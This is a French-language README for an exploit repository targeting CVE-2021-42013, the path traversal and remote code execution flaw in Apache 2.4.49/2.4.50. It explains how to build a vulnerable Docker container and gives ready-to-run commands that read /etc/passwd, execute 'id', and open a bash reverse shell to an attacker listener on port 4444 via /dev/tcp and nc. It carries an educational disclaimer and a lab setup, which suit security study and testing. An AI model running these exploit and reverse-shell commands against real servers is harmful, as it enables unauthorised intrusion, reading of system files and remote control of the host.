
Exploit pour Apache 2.4.49/2.4.50 traversée de chemin et RCE (CVE-2021-42013). Comprend une configuration Docker et un script pour tester la traversée de chemin, exécuter des commandes et obtenir un shell inverse.
⚠️ À des fins éducatives et de recherche en sécurité autorisées uniquement
Très reconnaissant à l'auteur original du PoC Walnut Security Services Pvt. Ltd
Un attaquant pourrait utiliser une attaque de contournement de chemin pour mapper des URL vers des fichiers en dehors des répertoires configurés par des directives de type Alias. Si des fichiers en dehors de ces répertoires ne sont pas protégés par la configuration par défaut habituelle « require all denied », ces requêtes peuvent réussir. Si des scripts CGI sont également activés pour ces chemins aliasés, cela pourrait permettre l'exécution de code à distance. Ce problème n'affecte que Apache 2.4.49 et Apache 2.4.50, pas les versions antérieures.
Tout d'abord, clonez le dépôt
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
Changez de répertoire
cd CVE-2021-42013
Construisez le conteneur vulnérable
docker build -t CVE-2021-42013 .
Exécutez le conteneur éphémère
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
Vérifiez l'adresse IP du conteneur
docker inspect CVE-2021-42013 | grep "IPAddress"
Donnez la permission d'exécution au script
chmod +x cve-2021-42013.sh
Pour tester et confirmer le contournement de chemin, un répertoire valide doit être découvert, configuré ici comme /icons. Ainsi, exécuter la commande suivante déclenchera la vulnérabilité de contournement de chemin et affichera le contenu de /etc/passwd :
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
Pour tester et confirmer l'exécution de code à distance, CGI doit être configuré et activé, ce qui est le cas ici. Ainsi, exécuter la commande suivante déclenchera l'exécution de code à distance et affichera la sortie de la commande id :
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
Du point de vue d'un attaquant, l'exécution de code à distance est cruciale pour obtenir un accès à un shell interactif. Ainsi, exécuter la commande suivante déclenchera un reverse shell conventionnel sur TCP basé sur bash vers le système de l'attaquant sur le port 4444/tcp :
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444